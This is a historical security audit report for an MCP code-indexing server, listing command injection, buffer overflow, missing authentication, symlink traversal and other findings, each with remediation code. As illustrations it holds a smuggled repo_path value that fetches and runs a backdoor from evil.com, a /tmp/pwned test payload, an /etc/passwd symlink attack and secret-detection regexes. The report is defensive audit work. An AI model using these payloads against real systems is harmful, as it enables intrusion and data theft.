Project: copilot-memory-mcp
Audit Date: 2026-05-05
Scope: Production hardening security audit
Status: HISTORICAL DOCUMENT - See SECURITY_STATUS.md for current posture
NOTE: This document represents the security audit findings from May 5, 2026, at the start of the hardening effort. For the current security status and implemented controls, see SECURITY_STATUS.md. Phases 1-5 of the hardening plan have been completed and merged.
This report documents security vulnerabilities identified during the copilot-memory-mcp production hardening audit. The codebase was migrated from codebase-memory-mcp (a developer tool) and required security hardening before enterprise deployment.
Critical Findings: 1
High Severity: 3
Medium Severity: 6
Recommendation: Address all critical and high-severity issues before production deployment. Medium-severity issues should be triaged based on deployment model (single-tenant vs. multi-tenant, trusted vs. untrusted repos).
Severity: CRITICAL
CWE: CWE-78 (OS Command Injection)
CVSS 3.1: 9.8 (Critical)
Affected Files:
src/foundation/str_util.c:245-268(cbm_validate_shell_arg())src/pipeline/pass_githistory.c:217-231(git command execution)src/mcp/mcp.c:3091-3100, 3334-3376, 3754-3760(MCP tool handlers)src/watcher/watcher.c:260-264(file watching)
Description:
The cbm_validate_shell_arg() function is designed to prevent shell metacharacter injection, but only blocks 9 characters:
// Blocked: ' ; | & $ ` \n \r \
// NOT blocked: ( ) < > * ? [ ] { } (space)Attack Vector:
An attacker controlling the repo_path parameter can execute arbitrary commands:
{
"method": "index_repository",
"params": {
"repo_path": "/tmp/repo(wget http://evil.com/backdoor.sh -O /tmp/x; sh /tmp/x)"
}
}When passed to popen() in pass_githistory.c:231:
snprintf(cmd, sizeof(cmd), "cd '%s' && git log ...", repo_path);
popen(cmd, "r"); // Subshell executes: wget ... ; sh /tmp/xRoot Cause: Using popen() with shell string interpolation instead of execve() with argv arrays. Even single-quoted paths are vulnerable to subshell () syntax.
Exploitation Impact:
- Arbitrary code execution with MCP server privileges
- Can exfiltrate source code from indexed repos
- Can pivot to compromise host system
Remediation (Priority: IMMEDIATE):
Option A (Recommended): Use libgit2 API instead of shell commands
// Replace popen("git log ...") with:
git_repository *repo;
git_repository_open(&repo, repo_path);
git_revwalk *walk;
git_revwalk_new(&walk, repo);
// ... (no shell involved)Option B: Use fork() + execve() with argv array
char *argv[] = {"git", "log", "--format=%H", NULL};
execve("/usr/bin/git", argv, environ); // No shell parsingOption C (Partial): Expand validation to block all shell metacharacters
// Add to blocked chars: ( ) < > * ? [ ] { } space
// Still vulnerable to argument injection (e.g., --upload-pack)Testing: Current product validation must use stdio MCP requests because this fork has no HTTP RPC surface:
printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/tmp/test(id > /tmp/pwned)"}}}' | \
./build/c/copilot-memory-mcp
# After fix: should reject or safely handle without executing idSeverity: HIGH
CWE: CWE-120 (Buffer Copy without Checking Size)
CVSS 3.1: 7.8 (High)
Affected Files:
src/foundation/compat.c:76, 101
Description:
Two unsafe strcpy() calls copy environment variable data without bounds checking:
char buf[512];
GetEnvironmentVariableA("TEMP", buf, sizeof(buf));
strcpy(tmpl, buf); // tmpl size unknown, buf may be 512 bytesExploitation: Set TEMP to 1024-byte path → stack overflow → control RIP.
Remediation:
// Option A: Use strncpy
strncpy(tmpl, buf, tmpl_size - 1);
tmpl[tmpl_size - 1] = '\0';
// Option B: Return heap-allocated string
char *cbm_mktemp_alloc(void) {
char buf[512];
GetEnvironmentVariableA("TEMP", buf, sizeof(buf));
return strdup(buf); // Caller frees
}Severity: HIGH
CWE: CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1: 8.2 (High)
Affected Files:
src/mcp/mcp.c(entire MCP server, ~4000 lines)
Description:
The MCP server accepts unauthenticated JSON-RPC 2.0 requests over stdio. Any process on the local system can:
- Index arbitrary repositories (code execution risk during parsing)
- Query knowledge graph (information disclosure)
- Delete project databases
- Trigger git operations
Attack Scenario:
- Compromised browser extension connects to MCP server
- Extension sends:
{"method": "index_repository", "params": {"repo_path": "/etc"}} - Server indexes /etc configuration files
- Extension queries:
{"method": "search_graph", "params": {"query": "password"}} - Server leaks secrets from /etc files
Remediation:
Implement bearer token authentication:
// Add to mcp.c
static bool validate_auth_token(const char *token) {
const char *expected = getenv("CBM_AUTH_TOKEN");
if (!expected) return false; // Require token in production
return strcmp(token, expected) == 0;
}
// In handle_request():
const char *auth = json_get_string(req, "auth_token");
if (!validate_auth_token(auth)) {
return error_response("unauthorized");
}Configuration:
# config/copilot-memory.yaml
auth:
enabled: true
token_file: /etc/copilot-memory/token # 256-bit random token
require_client_id: trueAlternative: Use Unix domain sockets with file permissions (0600) instead of stdio for local-only access control.
Severity: HIGH
CWE: CWE-400 (Uncontrolled Resource Consumption)
CVSS 3.1: 7.5 (High)
Affected Files:
src/mcp/mcp.c:1341, 3195(query result limits)src/cypher/cypher.c(query executor)
Description:
No hard limits on query memory or execution time. A malicious query can:
// Request 1M nodes (100+ GB RAM on large graphs)
MATCH (n) RETURN n LIMIT 1000000
// Exponential path explosion (depth 15 = millions of paths)
trace_path(start="main", end="*", depth=15)Current Code:
#define MCP_MAX_ROWS 100
// But params.limit can override this to any valueRemediation:
Enforce hard limits:
// Add to cypher.c
#define QUERY_TIMEOUT_SEC 10
#define MAX_RESULT_ROWS 1000
#define MAX_QUERY_MEMORY_MB 1024
// Set alarm before query execution
alarm(QUERY_TIMEOUT_SEC);
result = cbm_cypher_execute(query);
alarm(0);
// Cap result set
if (result->row_count > MAX_RESULT_ROWS) {
cbm_log_warn("query.limit.exceeded", "rows", result->row_count);
result->row_count = MAX_RESULT_ROWS;
}Configuration:
limits:
memory_mb: 2048
query_timeout_sec: 10
max_results: 1000Severity: MEDIUM
CWE: CWE-312 (Cleartext Storage of Sensitive Information)
Affected Files:
src/pipeline/pass_infrascan.c:264-322
Missing Patterns:
- GitHub tokens (
ghp_,ghs_,ghu_,gho_) - Slack tokens (
xoxb-,xoxp-,xoxa-) - Discord tokens
- Short API keys (<20 characters)
- Database URLs with embedded passwords (
postgres://user:pass@host/db) - High-entropy base64 strings (JWT tokens, session IDs)
Remediation:
Expand regex patterns in pass_infrascan.c:
static const char *SECRET_PATTERNS[] = {
"AKIA[0-9A-Z]{16}", // AWS access key
"ghp_[a-zA-Z0-9]{36}", // GitHub personal token
"ghs_[a-zA-Z0-9]{36}", // GitHub secret
"ghu_[a-zA-Z0-9]{36}", // GitHub refresh token
"xoxb-[0-9]{10,13}-[0-9]{10,13}-[a-zA-Z0-9]{24}", // Slack bot
"postgres://[^:]+:[^@]{8,}@", // DB password
"['\"][a-zA-Z0-9+/]{40,}={0,2}['\"]", // High-entropy base64
NULL
};Add entropy-based detection:
bool is_high_entropy(const char *str, size_t len) {
// Shannon entropy > 4.5 bits/char
double entropy = calculate_shannon_entropy(str, len);
return entropy > 4.5 && len >= 20;
}Severity: MEDIUM
CWE: CWE-59 (Improper Link Resolution)
Affected Files:
src/mcp/mcp.c:2382+(get_code_snippet())
Description:
get_code_snippet() resolves file paths but doesn't detect symlinks pointing outside the project root.
Attack:
cd /project
ln -s /etc/passwd secrets.txt
# Request: get_code_snippet(file_path="secrets.txt")
# Returns: contents of /etc/passwdCurrent Code:
char *real_path = realpath(file_path, NULL);
if (strncmp(real_path, project_root, strlen(project_root)) != 0) {
return error("path_outside_project");
}
// But symlink target may be outside rootRemediation:
Use lstat() to detect symlinks, then resolve and check target:
struct stat st;
if (lstat(file_path, &st) == 0 && S_ISLNK(st.st_mode)) {
// It's a symlink - resolve and check target
char target[PATH_MAX];
ssize_t len = readlink(file_path, target, sizeof(target) - 1);
if (len > 0) {
target[len] = '\0';
char *real_target = realpath(target, NULL);
if (!real_target || strncmp(real_target, project_root, strlen(project_root)) != 0) {
return error("symlink_outside_project");
}
}
}Alternative: Use O_NOFOLLOW flag with openat() to reject symlinks entirely.
Severity: MEDIUM
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)
Affected Files:
src/mcp/mcp.c(various error handling)src/store/store.c(SQLite errors)
Examples:
// Leaks system details
return error_response("sqlite_open_failed", strerror(errno));
// Leaks directory structure
return error_response("file_not_found", real_path);
// Enumerates all indexed projects
return error_response("project_not_found", list_all_projects());Remediation:
Separate internal logs from client errors:
// Log detailed error server-side
cbm_log_error("sqlite.open.failed", "path", db_path, "errno", errno, "msg", strerror(errno));
// Return generic error to client
return error_response("database_unavailable", NULL);Configuration:
logging:
detailed_errors: false # Production: log only, don't return to client
audit_file: /var/log/copilot-memory/audit.jsonlSeverity: MEDIUM
CWE: CWE-20 (Improper Input Validation)
Affected Files:
src/cypher/cypher.c(~2500 lines of manual parsing)
Risks:
The Cypher parser is a complex recursive-descent parser with manual memory management. Potential vulnerabilities:
- Unbounded recursion: Nested expressions can overflow stack
- Integer overflow: Array size calculations (
num_nodes * sizeof(node)) - Use-after-free: Complex cleanup paths in error handling
Remediation:
-
Fuzz testing: Use AFL or libFuzzer to generate malformed queries
afl-fuzz -i testcases/ -o findings/ ./copilot-memory-mcp
-
Add recursion limit:
#define MAX_EXPR_DEPTH 50 static int parse_depth = 0; node_t *parse_expr(void) { if (++parse_depth > MAX_EXPR_DEPTH) { return error("expression_too_deep"); } // ... parse logic parse_depth--; }
-
Safe integer arithmetic:
// Use __builtin_mul_overflow or similar size_t total_size; if (__builtin_mul_overflow(num_nodes, sizeof(node_t), &total_size)) { return error("allocation_overflow"); }
Severity: MEDIUM
CWE: CWE-377 (Insecure Temporary File)
Affected Files:
src/mcp/mcp.c:3103-3116(grep pattern file creation)
Description:
Grep patterns are written to /tmp/cbm_grep_<pid>.pat without using mkstemp(), creating TOCTOU window.
Current Code:
char pat_file[256];
snprintf(pat_file, sizeof(pat_file), "/tmp/cbm_grep_%d.pat", getpid());
FILE *f = fopen(pat_file, "w"); // World-readable by default
fprintf(f, "%s\n", pattern);
fclose(f);
// TOCTOU: attacker replaces file here
system("grep -f /tmp/cbm_grep_%d.pat ...", getpid());Remediation:
Option A: Use mkstemp() with secure permissions
char pat_file[] = "/tmp/cbm_grep_XXXXXX";
int fd = mkstemp(pat_file); // Creates with 0600 perms
if (fd < 0) return error("temp_file_failed");
FILE *f = fdopen(fd, "w");
fprintf(f, "%s\n", pattern);
fclose(f);Option B: Pass pattern inline (no temp file)
// Use grep -e instead of -f
snprintf(cmd, sizeof(cmd), "grep -e '%s' %s", pattern, file);Severity: MEDIUM
CWE: CWE-1104 (Use of Unmaintained Third Party Components)
Current Versions:
- sqlite3: 3.51.3 (2024-12-06) ✓ Current
- yyjson: 0.12.0 (2024) ✓ Recent
- lz4: Unknown (check vendored/)
- zstd: Unknown (check vendored/)
- mimalloc: Unknown (check vendored/)
- tree-sitter: Unknown (check internal/cbm/vendored/)
Remediation:
-
Document versions in
DEPENDENCIES.md:| Dependency | Version | Date | CVEs | Update Policy | |---|---|---|---|---| | sqlite3 | 3.51.3 | 2024-12-06 | None known | Update quarterly | | yyjson | 0.12.0 | 2024 | None known | Update annually |
-
Automate CVE scanning:
# Add to CI/CD pipeline cargo install cargo-audit cargo audit --file Cargo.lock --json | jq '.vulnerabilities'
-
Update policy: Check for updates quarterly, prioritize security patches.
Before deploying to production:
- Replace
popen()git calls with libgit2 API (Issue #1) - Implement bearer token authentication (Issue #3)
- Add query timeout + memory limits (Issue #4)
- Fix Windows
strcpy()buffer overflow (Issue #2) - Expand secret detection patterns (Issue #5)
- Canonicalize paths, detect symlinks (Issue #6)
- Sanitize error messages (log details, return generic) (Issue #7)
- Fuzz test Cypher parser (Issue #8)
- Use
mkstemp()for temp files (Issue #9) - Document dependency versions (Issue #10)
- Enable AddressSanitizer (ASAN) in test builds
- Run Valgrind on MCP tool test suite
- Configure seccomp sandbox on Linux
- Add audit logging (who/what/when for all MCP tools)
- Implement rate limiting per client
- Set up automated security scanning (Snyk, Dependabot)
-
Single-Tenant Trusted (Developer Workstation)
- Risk: LOW - user controls repos, single client
- Priority: Address critical issues only
-
Single-Tenant Untrusted (CI/CD Pipeline)
- Risk: MEDIUM - repos may contain malicious code
- Priority: Address critical + high issues
-
Multi-Tenant Enterprise (Shared Service)
- Risk: HIGH - multiple clients, untrusted repos, data isolation required
- Priority: Address ALL issues + add multi-tenancy support
Entry Points:
- MCP JSON-RPC over stdio (unauthenticated)
- Repository paths passed to indexing
- Cypher queries from clients
- File paths in
get_code_snippet()
Trust Boundaries:
- Between MCP client (IDE) and server
- Between MCP server and git repositories
- Between tree-sitter parsers and source files
Assets:
- Source code in indexed repositories
- Knowledge graph data (SQLite databases)
- Secrets potentially embedded in code
- System credentials accessible to MCP server process
For SOC2, PCI-DSS, or FedRAMP compliance:
- Access Control (AC-3): Implement authentication + authorization
- Audit Logging (AU-2): Log all MCP tool invocations with timestamps
- Vulnerability Management (SI-2): Document patch policy, scan dependencies
- Input Validation (SI-10): Fix command injection, path traversal
- Data Protection (SC-28): Encrypt SQLite databases at rest (optional)
To report security vulnerabilities:
- Email: security@[your-company].com
- PGP Key: [fingerprint]
- Response SLA: 48 hours acknowledgment, 90 days disclosure
Do not open public issues for security vulnerabilities.
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- CWE/SANS Top 25: https://cwe.mitre.org/top25/
- NIST 800-53: https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
End of Report